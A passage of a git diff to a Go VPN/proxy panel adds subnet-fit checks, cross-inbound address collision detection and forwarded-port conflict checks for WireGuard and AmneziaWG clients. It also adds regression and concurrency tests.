+// every inbound it processes (so the same person keeps the same tunnel
+// address across protocols), but when an identity has been fully detached
+// from every WireGuard/AmneziaWG inbound, that stored address is a leftover
+// nothing reserves anymore -- reusing it can skip past address space that's
+// genuinely free (a real user's own case: address .21 resurrected instead
+// of the actually-free .3). hasTunnelAttachment is what Attach checks to
+// decide whether to clear the stored address before its loop, so it needs
+// to correctly tell "still has an active tunnel elsewhere" (preserve) apart
+// from "no tunnel attachment at all" (clear, allocate fresh).
+func TestHasTunnelAttachmentDetectsWireguardOrAmneziaWG(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`)
+ seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
+ seedInboundConflict(t, "vless-1", "0.0.0.0", 8443, model.VLESS, `{"network":"tcp"}`, `{"clients":[]}`)
+
+ var awgInbound, wgInbound, vlessInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded awg row: %v", err)
+ }
+ if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
+ t.Fatalf("read seeded wg row: %v", err)
+ }
+ if err := database.GetDB().Where("tag = ?", "vless-1").First(&vlessInbound).Error; err != nil {
+ t.Fatalf("read seeded vless row: %v", err)
+ }
+
+ s := &ClientService{}
+ inboundSvc := &InboundService{}
+
+ if s.hasTunnelAttachment(inboundSvc, nil) {
+ t.Error("empty inboundIds must report no tunnel attachment")
+ }
+ if s.hasTunnelAttachment(inboundSvc, []int{vlessInbound.Id}) {
+ t.Error("a VLESS-only attachment must not count as a tunnel attachment")
+ }
+ if s.hasTunnelAttachment(inboundSvc, []int{99999}) {
+ t.Error("a nonexistent inbound id must not count as a tunnel attachment")
+ }
+ if !s.hasTunnelAttachment(inboundSvc, []int{vlessInbound.Id, wgInbound.Id}) {
+ t.Error("a WireGuard inbound among others must count as a tunnel attachment")
+ }
+ if !s.hasTunnelAttachment(inboundSvc, []int{awgInbound.Id}) {
+ t.Error("an AmneziaWG inbound must count as a tunnel attachment")
+ }
+}
+
+// TestAddressesFitAmneziaWGInbound is a regression test for a real
+// production bug: hasTunnelAttachment only asked "does this identity have
+// ANY tunnel attachment", not "is the address it would inherit actually
+// valid for THIS inbound" -- so an identity whose stored address came from
+// WireGuard's own fallback subnet (10.0.0.0/24, used when that inbound has
+// no other clients to infer a base from) got that exact address silently
+// carried over onto a second, AmneziaWG inbound configured for a completely
+// different subnet (10.8.1.0/24). defaultAmneziaWGClients's already-set
+// branch only checks for collisions, not subnet membership, so the mismatch
+// was accepted with no error -- producing a peer that can never actually
+// connect (an AmneziaWG address must fall inside the kernel interface's own
+// configured subnet to be routable at all). addressesFitAmneziaWGInbound is
+// the check Attach now runs per inbound before deciding whether to keep an
+// inherited address or force a fresh allocation.
+func TestAddressesFitAmneziaWGInbound(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[]}`)
+ seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
+
+ var awgInbound, wgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded awg row: %v", err)
+ }
+ if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
+ t.Fatalf("read seeded wg row: %v", err)
+ }
+
+ if !addressesFitAmneziaWGInbound(nil, &awgInbound) {
+ t.Error("no addresses at all must trivially fit (Attach's own fresh-allocate path)")
+ }
+ if !addressesFitAmneziaWGInbound([]string{"10.0.0.2/32"}, &wgInbound) {
+ t.Error("WireGuard has no strict subnet requirement -- must never be rejected here")
+ }
+ if addressesFitAmneziaWGInbound([]string{"10.0.0.2/32"}, &awgInbound) {
+ t.Fatal("the real bug: a WireGuard-fallback-subnet address must NOT be accepted as fitting an AmneziaWG inbound configured for a different subnet")
+ }
+ if !addressesFitAmneziaWGInbound([]string{"10.8.1.21/32"}, &awgInbound) {
+ t.Error("an address genuinely inside the awg inbound's own configured subnet must fit")
+ }
+}
diff --git a/internal/web/service/client_cross_inbound_race_test.go b/internal/web/service/client_cross_inbound_race_test.go
new file mode 100644
index 000000000..c516888a0
--- /dev/null
+++ b/internal/web/service/client_cross_inbound_race_test.go
@@ -0,0 +1,63 @@
+package service
+
+import (
+ "fmt"
+ "sync"
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// Concurrent creates on two inbounds hold two different lockInbound mutexes,
+// so only the serialized writer's in-tx re-check can reject the second claim.
+func TestAddInboundClientConcurrentCrossInboundAddressSingleWinner(t *testing.T) {
+ setupBulkDB(t)
+ svc := &ClientService{}
+ inboundSvc := &InboundService{}
+
+ ib1 := mkInbound(t, 52210, model.WireGuard, wgServerSettings())
+ ib2 := mkInbound(t, 52211, model.WireGuard, wgServerSettings())
+
+ const rounds = 25
+ for round := range rounds {
+ addr := fmt.Sprintf("10.77.%d.7/32", round)
+ claims := []*model.Inbound{
+ {Id: ib1.Id, Protocol: model.WireGuard, Settings: clientsSettings(t, []model.Client{
+ {Email: fmt.Sprintf("race-%d-a@wg", round), Enable: true, AllowedIPs: []string{addr}},
+ })},
+ {Id: ib2.Id, Protocol: model.WireGuard, Settings: clientsSettings(t, []model.Client{
+ {Email: fmt.Sprintf("race-%d-b@wg", round), Enable: true, AllowedIPs: []string{addr}},
+ })},
+ }
+
+ start := make(chan struct{})
+ errs := make(chan error, len(claims))
+ var wg sync.WaitGroup
+ for _, claim := range claims {
+ wg.Add(1)
+ go func(data *model.Inbound) {
+ defer wg.Done()
+ <-start
+ _, err := svc.AddInboundClient(inboundSvc, data)
+ errs <- err
+ }(claim)
+ }
+ close(start)
+ wg.Wait()
+ close(errs)
+
+ committed := 0
+ rejections := make([]string, 0, len(claims))
+ for err := range errs {
+ if err == nil {
+ committed++
+ continue
+ }
+ rejections = append(rejections, err.Error())
+ }
+ if committed != 1 {
+ t.Fatalf("round %d addr %s: concurrent AddInboundClient committed=%d, want exactly 1 (rejections: %v)",
+ round, addr, committed, rejections)
+ }
+ }
+}
diff --git a/internal/web/service/client_crud.go b/internal/web/service/client_crud.go
index f75383276..d18f5bbca 100644
--- a/internal/web/service/client_crud.go
+++ b/internal/web/service/client_crud.go
@@ -5,6 +5,7 @@ import (
"encoding/json"
"errors"
"fmt"
+ "net/netip"
"strings"
"time"
"unicode"
@@ -202,7 +203,19 @@ func (s *ClientService) Create(inboundSvc *InboundService, payload *ClientCreate
if err := s.fillProtocolDefaults(&client, inbound); err != nil {
return needRestart, err
}
- settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(client, inbound)}})
+ clientForInbound := client
+ if ips, ok := client.AllowedIPsByInbound[ibId]; ok {
+ clientForInbound.AllowedIPs = ips
+ } else if !addressesFitAmneziaWGInbound(clientForInbound.AllowedIPs, inbound) {
+ // The shared AllowedIPs value (e.g. from a single-field legacy
+ // caller) came from a different subnet than this inbound's own --
+ // clear it so defaultAmneziaWGClients allocates a fresh, correct
+ // address for THIS inbound instead of persisting an unroutable
+ // peer. Same reasoning as addressesFitAmneziaWGInbound's own doc
+ // comment on the Attach path.
+ clientForInbound.AllowedIPs = nil
+ }
+ settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(clientForInbound, inbound)}})
if mErr != nil {
return needRestart, mErr
}
@@ -503,7 +516,22 @@ func (s *ClientService) Update(inboundSvc *InboundService, id int, updated model
if err := s.fillProtocolDefaults(&updated, inbound); err != nil {
return needRestart, err
}
- settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(updated, inbound)}})
+ clientForInbound := updated
+ if ips, ok := updated.AllowedIPsByInbound[ibId]; ok {
+ clientForInbound.AllowedIPs = ips
+ } else if !addressesFitAmneziaWGInbound(clientForInbound.AllowedIPs, inbound) {
+ // A single shared AllowedIPs field (the common case for a caller
+ // that never sends AllowedIPsByInbound) must never overwrite an
+ // inbound it doesn't belong to -- e.g. a client attached to both
+ // wg and awg saving its wg-labeled address would otherwise get
+ // that same address silently written into the awg peer config
+ // too. Clearing it here makes UpdateInboundClient's own
+ // empty-AllowedIPs carry-forward (see its WireGuard/AmneziaWG
+ // branch) preserve THIS inbound's existing, correct value
+ // instead.
+ clientForInbound.AllowedIPs = nil
+ }
+ settingsPayload, mErr := json.Marshal(map[string][]model.Client{"clients": {clientWithInboundFlow(clientForInbound, inbound)}})
if mErr != nil {
return needRestart, mErr
}
@@ -704,6 +732,66 @@ func (s *ClientService) Delete(inboundSvc *InboundService, id int, keepTraffic b
return needRestart, nil
}
+// hasTunnelAttachment reports whether any of inboundIds is a currently
+// existing WireGuard or AmneziaWG inbound. Inbounds that fail to load are
+// skipped rather than treated as an error -- Attach's own loop already
+// surfaces a real error for any inbound it can't load when it gets there.
+func (s *ClientService) hasTunnelAttachment(inboundSvc *InboundService, inboundIds []int) bool {
+ for _, ibId := range inboundIds {
+ inbound, err := inboundSvc.GetInbound(ibId)
+ if err != nil {
+ continue
+ }
+ if inbound.Protocol == model.WireGuard || inbound.Protocol == model.AmneziaWG {
+ return true
+ }
+ }
+ return false
+}
+
+// addressesFitAmneziaWGInbound reports whether every entry in addrs falls
+// inside ib's own configured subnet(s). AmneziaWG only: its kernel interface
+// Address is exactly that subnet, so an address inherited from elsewhere (an
+// identity attached to a WireGuard inbound first, say) produces a peer that
+// can never connect -- Attach allocates fresh instead.
+func addressesFitAmneziaWGInbound(addrs []string, ib *model.Inbound) bool {
+ if ib.Protocol != model.AmneziaWG || len(addrs) == 0 {
+ return true
+ }
+ v4Base, v6Base, err := defaultAmneziaWGSubnetBases(ib.Settings)
+ if err != nil {
+ return false
+ }
+ bases := make([]netip.Prefix, 0, 2)
+ for _, base := range []string{v4Base, v6Base} {
+ if base == "" {
+ continue
+ }
+ prefix, pErr := netip.ParsePrefix(base)
+ if pErr != nil {
+ return false
+ }
+ bases = append(bases, prefix)
+ }
+ for _, a := range addrs {
+ host := wireguardHostAddr(a)
+ if !host.IsValid() {
+ return false
+ }
+ fits := false
+ for _, prefix := range bases {
+ if prefix.Contains(host) {
+ fits = true
+ break
+ }
+ }
+ if !fits {
+ return false
+ }
+ }
+ return true
+}
+
func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []int) (bool, error) {
existing, err := s.GetByID(id)
if err != nil {
@@ -726,6 +814,18 @@ func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []
clientWire.Flow = flow
clientWire.UpdatedAt = time.Now().UnixMilli()
+ // If this identity has no CURRENT WireGuard/AmneziaWG attachment,
+ // clientWire.AllowedIPs (from the ClientRecord) is a leftover from
+ // whenever it last had one -- nothing reserves it anymore. Clear it so
+ // attaching to a tunnel inbound now allocates a fresh address instead
+ // of resurrecting the old one, which may no longer even be the lowest
+ // free slot. Left untouched when the identity already has an active
+ // tunnel elsewhere, so extending it to a second protocol still keeps
+ // the same address on both.
+ if !s.hasTunnelAttachment(inboundSvc, currentIds) {
+ clientWire.AllowedIPs = nil
+ }
+
needRestart := false
for _, ibId := range inboundIds {
if _, attached := have[ibId]; attached {
@@ -736,6 +836,9 @@ func (s *ClientService) Attach(inboundSvc *InboundService, id int, inboundIds []
return needRestart, getErr
}
copyClient := *clientWire
+ if !addressesFitAmneziaWGInbound(copyClient.AllowedIPs, inbound) {
+ copyClient.AllowedIPs = nil
+ }
if err := s.fillProtocolDefaults(©Client, inbound); err != nil {
return needRestart, err
}
diff --git a/internal/web/service/client_inbound_apply.go b/internal/web/service/client_inbound_apply.go
index b41bc36a4..ffe6c736b 100644
--- a/internal/web/service/client_inbound_apply.go
+++ b/internal/web/service/client_inbound_apply.go
@@ -241,6 +241,46 @@ func (s *ClientService) delInboundClients(inboundSvc *InboundService, inboundId
return needRestart, nil
}
+// otherTunnelAllowedIPs maps every AllowedIPs entry claimed on another
+// WireGuard/AmneziaWG inbound to a description of which one holds it: the
+// per-inbound defaulters only check their own client list, so two inbounds
+// sharing a subnet could otherwise hand out the same address. Disabled
+// siblings count too, keeping their addresses reserved for a later re-enable.
+//
+// selfEmails skips this identity's own entries. Email is globally unique, so a
+// match there is never a real collision -- and Attach deliberately reuses one
+// address across every inbound it attaches the identity to.
+func (s *ClientService) otherTunnelAllowedIPs(db *gorm.DB, inboundSvc *InboundService, excludeID int, selfEmails map[string]struct{}) (map[string]string, error) {
+ var inbounds []*model.Inbound
+ err := db.Model(model.Inbound{}).
+ Where("protocol IN ? AND id != ?", []model.Protocol{model.WireGuard, model.AmneziaWG}, excludeID).
+ Find(&inbounds).Error
+ if err != nil {
+ return nil, err
+ }
+ used := make(map[string]string)
+ for _, ib := range inbounds {
+ clients, cErr := inboundSvc.GetClients(ib)
+ if cErr != nil {
+ continue
+ }
+ name := ib.Remark
+ if name == "" {
+ name = ib.Tag
+ }
+ label := fmt.Sprintf("inbound '%s' (#%d)", name, ib.Id)
+ for _, c := range clients {
+ if _, self := selfEmails[strings.ToLower(c.Email)]; self {
+ continue
+ }
+ for _, addr := range c.AllowedIPs {
+ used[addr] = label
+ }
+ }
+ }
+ return used, nil
+}
+
func (s *ClientService) checkEmailsExistForClients(inboundSvc *InboundService, clients []model.Client) (string, error) {
emailSubIDs, err := inboundSvc.emailSubIDsForClients(clients)
if err != nil {
@@ -348,12 +388,37 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
interfaceClients = keptWire
}
- if oldInbound.Protocol == model.WireGuard {
- if dErr := defaultWireguardClients(existingClients, clients, interfaceClients); dErr != nil {
- return false, dErr
+ var selfEmails map[string]struct{}
+ if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
+ selfEmails = make(map[string]struct{}, len(clients))
+ for _, c := range clients {
+ if c.Email != "" {
+ selfEmails[strings.ToLower(c.Email)] = struct{}{}
+ }
+ }
+ crossUsed, cErr := s.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, oldInbound.Id, selfEmails)
+ if cErr != nil {
+ return false, cErr
+ }
+ if oldInbound.Protocol == model.WireGuard {
+ if dErr := defaultWireguardClients(oldInbound.Settings, existingClients, clients, interfaceClients, crossUsed); dErr != nil {
+ return false, dErr
+ }
+ }
+ if oldInbound.Protocol == model.AmneziaWG {
+ if dErr := defaultAmneziaWGClients(oldInbound.Settings, existingClients, clients, interfaceClients, crossUsed); dErr != nil {
+ return false, dErr
+ }
}
}
+ var portCtx portConflictContext
+ if oldInbound.Protocol == model.AmneziaWG {
+ portCtx, err = inboundSvc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ return false, err
+ }
+ }
for _, client := range clients {
if strings.TrimSpace(client.Email) == "" {
return false, common.NewError("client email is required")
@@ -371,7 +436,7 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
if client.Auth == "" {
return false, common.NewError("empty client ID")
}
- case "wireguard":
+ case "wireguard", "amneziawg":
if client.PublicKey == "" {
return false, common.NewError("wireguard client requires a key")
}
@@ -387,6 +452,11 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
return false, common.NewError("empty client ID")
}
}
+ if oldInbound.Protocol == model.AmneziaWG {
+ if hit := inboundSvc.checkForwardedPortsConflict(portCtx, client.ForwardedPorts); hit != "" {
+ return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
+ }
+ }
}
var oldSettings map[string]any
@@ -430,6 +500,34 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
// Persist client stats + inbound atomically, serialized against the traffic
// poll to avoid the cross-transaction lock-order deadlock (runSerializedTx).
if txErr := runSerializedTx(func(tx *gorm.DB) error {
+ // lockInbound is per-inbound, so the pre-tx cross-inbound checks race
+ // concurrent writers on other inbounds — re-run them in here (#6225).
+ if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
+ crossUsed, cErr := s.otherTunnelAllowedIPs(tx, inboundSvc, oldInbound.Id, selfEmails)
+ if cErr != nil {
+ return cErr
+ }
+ crossAddrs := make([]string, 0, len(crossUsed))
+ for addr := range crossUsed {
+ crossAddrs = append(crossAddrs, addr)
+ }
+ for i := range clients {
+ if hit := wireguardAllowedIPsCollision(clients[i].AllowedIPs, crossAddrs); hit != "" {
+ return common.NewError("allowedIPs entry", hit, "is already used by a client on", crossUsed[hit])
+ }
+ }
+ }
+ if oldInbound.Protocol == model.AmneziaWG {
+ txPortCtx, pErr := inboundSvc.loadPortConflictContext(tx)
+ if pErr != nil {
+ return pErr
+ }
+ for i := range clients {
+ if hit := inboundSvc.checkForwardedPortsConflict(txPortCtx, clients[i].ForwardedPorts); hit != "" {
+ return common.NewError("amneziawg: forwardedPorts collides with", hit)
+ }
+ }
+ }
for i := range clients {
if len(clients[i].Email) == 0 {
continue
@@ -459,6 +557,8 @@ func (s *ClientService) AddInboundClient(inboundSvc *InboundService, data *model
needRestart = true
} else if oldInbound.Protocol == model.MTProto {
inboundSvc.applyLocalMtproto(oldInbound.Id)
+ } else if oldInbound.Protocol == model.AmneziaWG {
+ inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else {
for _, client := range clients {
if len(client.Email) == 0 {
@@ -550,7 +650,7 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
newClientId = clients[0].Email
case "hysteria":
newClientId = clients[0].Auth
- case "wireguard":
+ case "wireguard", "amneziawg":
newClientId = clients[0].Email
case "mtproto":
newClientId = clients[0].Email
@@ -590,10 +690,10 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
}
}
- // WireGuard keys are never rotated by an edit: when the incoming payload omits
- // them (a metadata-only change), carry the stored credentials forward so the
- // settings JSON and the running peer keep the client's identity.
- if oldInbound.Protocol == model.WireGuard && clientIndex >= 0 && clientIndex < len(oldClients) {
+ // WireGuard/AmneziaWG keys are never rotated by an edit: when the incoming
+ // payload omits them (a metadata-only change), carry the stored credentials
+ // forward so the settings JSON and the running peer keep the client's identity.
+ if (oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG) && clientIndex >= 0 && clientIndex < len(oldClients) {
old := oldClients[clientIndex]
if clients[0].PrivateKey == "" {
clients[0].PrivateKey = old.PrivateKey
@@ -630,6 +730,23 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if clients[0].KeepAlive == 0 {
clients[0].KeepAlive = old.KeepAlive
}
+ // ForwardedPorts is AmneziaWG-only (WireGuard's own inbound never
+ // reads it), same carry-forward reasoning as the fields above: a
+ // partial edit (e.g. a Telegram-bot enable/expiry toggle, or an API
+ // call that omits the field) must not silently drop a client's
+ // existing port-forwarding spec.
+ if oldInbound.Protocol == model.AmneziaWG && clients[0].ForwardedPorts == "" {
+ clients[0].ForwardedPorts = old.ForwardedPorts
+ }
+ }
+ if oldInbound.Protocol == model.AmneziaWG {
+ portCtx, err := inboundSvc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ return false, err
+ }
+ if hit := inboundSvc.checkForwardedPortsConflict(portCtx, clients[0].ForwardedPorts); hit != "" {
+ return false, common.NewError("amneziawg: forwardedPorts collides with", hit)
+ }
}
var oldSettings map[string]any
@@ -670,7 +787,7 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if v, ok2 := newMap["subId"].(string); ok2 {
clients[0].SubID = v
}
- if oldInbound.Protocol == model.WireGuard {
+ if oldInbound.Protocol == model.WireGuard || oldInbound.Protocol == model.AmneziaWG {
newMap["privateKey"] = clients[0].PrivateKey
newMap["publicKey"] = clients[0].PublicKey
newMap["allowedIPs"] = clients[0].AllowedIPs
@@ -680,6 +797,9 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
if clients[0].KeepAlive > 0 {
newMap["keepAlive"] = clients[0].KeepAlive
}
+ if oldInbound.Protocol == model.AmneziaWG && clients[0].ForwardedPorts != "" {
+ newMap["forwardedPorts"] = clients[0].ForwardedPorts
+ }
}
if oldClientMap != nil && sameClientConfigExceptUpdatedAt(oldClientMap, newMap) {
if v, ok2 := oldClientMap["updated_at"]; ok2 {
@@ -754,6 +874,17 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
// Persist client stats + inbound atomically, serialized against the traffic
// poll to avoid the cross-transaction lock-order deadlock (runSerializedTx).
if txErr := runSerializedTx(func(tx *gorm.DB) error {
+ // Same re-check-inside-the-writer rule as AddInboundClient (#6225):
+ // the pre-tx pass can race a concurrent writer on another inbound.
+ if oldInbound.Protocol == model.AmneziaWG {
+ txPortCtx, pErr := inboundSvc.loadPortConflictContext(tx)
+ if pErr != nil {
+ return pErr
+ }
+ if hit := inboundSvc.checkForwardedPortsConflict(txPortCtx, clients[0].ForwardedPorts); hit != "" {
+ return common.NewError("amneziawg: forwardedPorts collides with", hit)
+ }
+ }
if len(clients[0].Email) > 0 {
if len(oldEmail) > 0 {
emailUnchanged := strings.EqualFold(oldEmail, clients[0].Email)
@@ -846,6 +977,8 @@ func (s *ClientService) UpdateInboundClient(inboundSvc *InboundService, data *mo
needRestart = true
} else if oldInbound.Protocol == model.MTProto {
inboundSvc.applyLocalMtproto(oldInbound.Id)
+ } else if oldInbound.Protocol == model.AmneziaWG {
+ inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else {
if oldClients[clientIndex].Enable {
err1 := rt.RemoveUser(context.Background(), oldInbound, oldEmail)
@@ -1023,6 +1156,10 @@ func (s *ClientService) DelInboundClientByEmail(inboundSvc *InboundService, inbo
// it (removing the last client stops the sidecar) regardless of the
// client's enable state.
inboundSvc.applyLocalMtproto(oldInbound.Id)
+ } else if oldInbound.Protocol == model.AmneziaWG {
+ // Same reasoning as MTProto above: the interface config is
+ // regenerated from the full peer set, so any delete re-applies it.
+ inboundSvc.applyLocalAmneziaWG(oldInbound.Id)
} else if needApiDel {
// Local inbound: a disabled client isn't in the running Xray, so only
// a live one (needApiDel) needs an API removal.
diff --git a/internal/web/service/client_inbound_apply_test.go b/internal/web/service/client_inbound_apply_test.go
new file mode 100644
index 000000000..5fe29c8ca
--- /dev/null
+++ b/internal/web/service/client_inbound_apply_test.go
@@ -0,0 +1,105 @@
+package service
+
+import (
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database"
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// otherTunnelAllowedIPs must see across protocols (a WireGuard inbound's
+// client address collides with an AmneziaWG one just as easily as two
+// AmneziaWG inbounds would), must exclude the inbound doing the asking, and
+// must ignore inbounds that aren't WireGuard/AmneziaWG entirely.
+func TestOtherTunnelAllowedIPs(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[{"email":"a@wg","allowedIPs":["10.0.0.5/32"]}]}`)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"b@awg","allowedIPs":["10.8.1.21/32"]}]}`)
+ seedInboundConflict(t, "vless-1", "0.0.0.0", 8443, model.VLESS, `{"network":"tcp"}`, `{"clients":[{"email":"c@vless"}]}`)
+
+ var wgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
+ t.Fatalf("read seeded wg row: %v", err)
+ }
+
+ svc := &ClientService{}
+ inboundSvc := &InboundService{}
+ used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, nil)
+ if err != nil {
+ t.Fatalf("otherTunnelAllowedIPs: %v", err)
+ }
+ if len(used) != 1 {
+ t.Fatalf("expected exactly one cross-inbound address (self excluded, vless ignored), got %v", used)
+ }
+ label, ok := used["10.8.1.21/32"]
+ if !ok {
+ t.Fatalf("expected the awg inbound's address to be reported as used, got %v", used)
+ }
+ if label == "" {
+ t.Fatal("expected a non-empty description of which inbound holds the address")
+ }
+}
+
+// TestOtherTunnelAllowedIPsExcludesSelfEmail is a regression test for a real
+// bug in ClientService.Attach: attaching one identity to multiple
+// WireGuard/AmneziaWG inbounds in the same call copies that identity's own
+// stored AllowedIPs into every inbound it processes (by design -- the same
+// person should get the same tunnel address on every protocol they use).
+// Attach's loop calls addInboundClient once per inbound, and each of those
+// calls independently computes otherTunnelAllowedIPs -- so by the second
+// inbound in the loop, the first inbound's now-successful copy of the
+// identity's own address looked like a cross-inbound collision against
+// itself, and the attach failed with exactly the error a real user hit:
+// "wireguard: allowedIPs entry 10.8.1.21/32 is already used by a client on
+// inbound 'awg' (#10)". selfEmails must exclude this identity's own entries
+// on sibling inbounds -- safe to do unconditionally because ClientRecord.Email
+// is globally unique, so a same-email match can only ever be this identity,
+// never a genuine different client.
+func TestOtherTunnelAllowedIPsExcludesSelfEmail(t *testing.T) {
+ setupConflictDB(t)
+ // Both shared@id (to be excluded) and other@awg (a genuinely different
+ // client, must still be reported) live on the SAME sibling inbound --
+ // otherTunnelAllowedIPs already excludes the asking inbound entirely via
+ // excludeID, so putting other@awg there instead would make it invisible
+ // to the scan regardless of the selfEmails fix, proving nothing.
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 443, model.AmneziaWG, ``, `{"server":{"subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"shared@id","allowedIPs":["10.8.1.21/32"]},{"email":"other@awg","allowedIPs":["10.8.1.5/32"]}]}`)
+ seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[]}`)
+
+ var wgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
+ t.Fatalf("read seeded wg row: %v", err)
+ }
+
+ svc := &ClientService{}
+ inboundSvc := &InboundService{}
+ used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, map[string]struct{}{"shared@id": {}})
+ if err != nil {
+ t.Fatalf("otherTunnelAllowedIPs: %v", err)
+ }
+ if _, stillThere := used["10.8.1.21/32"]; stillThere {
+ t.Fatalf("shared@id's own address on the awg inbound must be excluded from used, got %v", used)
+ }
+ if _, ok := used["10.8.1.5/32"]; !ok {
+ t.Fatalf("a genuinely different client's address must still be reported as used, got %v", used)
+ }
+}
+
+func TestOtherTunnelAllowedIPsEmptyWhenNoSiblings(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "wg-1", "0.0.0.0", 51820, model.WireGuard, ``, `{"clients":[{"email":"a@wg","allowedIPs":["10.0.0.5/32"]}]}`)
+
+ var wgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "wg-1").First(&wgInbound).Error; err != nil {
+ t.Fatalf("read seeded wg row: %v", err)
+ }
+
+ svc := &ClientService{}
+ inboundSvc := &InboundService{}
+ used, err := svc.otherTunnelAllowedIPs(database.GetDB(), inboundSvc, wgInbound.Id, nil)
+ if err != nil {
+ t.Fatalf("otherTunnelAllowedIPs: %v", err)
+ }
+ if len(used) != 0 {
+ t.Fatalf("expected no cross-inbound addresses with only one tunnel inbound present, got %v", used)
+ }
+}
diff --git a/internal/web/service/client_lookup.go b/internal/web/service/client_lookup.go
index dbd9f6d10..5cda43942 100644
--- a/internal/web/service/client_lookup.go
+++ b/internal/web/service/client_lookup.go
@@ -133,6 +133,41 @@ func (s *ClientService) GetInboundIdsForRecord(id int) ([]int, error) {
return ids, nil
}
+// TunnelAllowedIPsByInbound returns, for each given WireGuard/AmneziaWG
+// inbound id, the real AllowedIPs this email currently has on that specific
+// inbound's own settings JSON -- joined comma-separated, matching the form
+// value shape a single AllowedIPs field already uses. Non-tunnel inbounds
+// and ids the email isn't actually attached to are simply absent from the
+// result (not an error): callers use this to seed a per-protocol display
+// field, and ClientRecord's own single AllowedIPs column can't tell two
+// different protocol addresses apart, which is exactly the gap this closes.
+func (s *ClientService) TunnelAllowedIPsByInbound(inboundSvc *InboundService, email string, inboundIds []int) (map[int]string, error) {
+ result := make(map[int]string, len(inboundIds))
+ for _, ibId := range inboundIds {
+ inbound, err := inboundSvc.GetInbound(ibId)
+ if err != nil {
+ if errors.Is(err, gorm.ErrRecordNotFound) {
+ continue
+ }
+ return nil, err
+ }
+ if inbound.Protocol != model.WireGuard && inbound.Protocol != model.AmneziaWG {
+ continue
+ }
+ clients, err := inboundSvc.GetClients(inbound)
+ if err != nil {
+ return nil, err
+ }
+ for i := range clients {
+ if strings.EqualFold(clients[i].Email, email) {
+ result[ibId] = strings.Join(clients[i].AllowedIPs, ",")
+ break
+ }
+ }
+ }
+ return result, nil
+}
+
func (s *ClientService) List() ([]ClientWithAttachments, error) {
db := database.GetDB()
var rows []model.ClientRecord
diff --git a/internal/web/service/client_update_allowedips_test.go b/internal/web/service/client_update_allowedips_test.go
new file mode 100644
index 000000000..ec67a35aa
--- /dev/null
+++ b/internal/web/service/client_update_allowedips_test.go
@@ -0,0 +1,213 @@
+package service
+
+import (
+ "testing"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/database/model"
+)
+
+// seedDualProtocolClient creates a WireGuard inbound and an AmneziaWG inbound
+// (real, distinct subnets: 10.0.0.0/24 and 10.8.1.0/24), attaches the same
+// email to both with its own correct, protocol-appropriate address, and
+// returns the two inbounds plus the shared client record id.
+func seedDualProtocolClient(t *testing.T, email, wgAddr, awgAddr string) (wgIb, awgIb *model.Inbound, recordId int) {
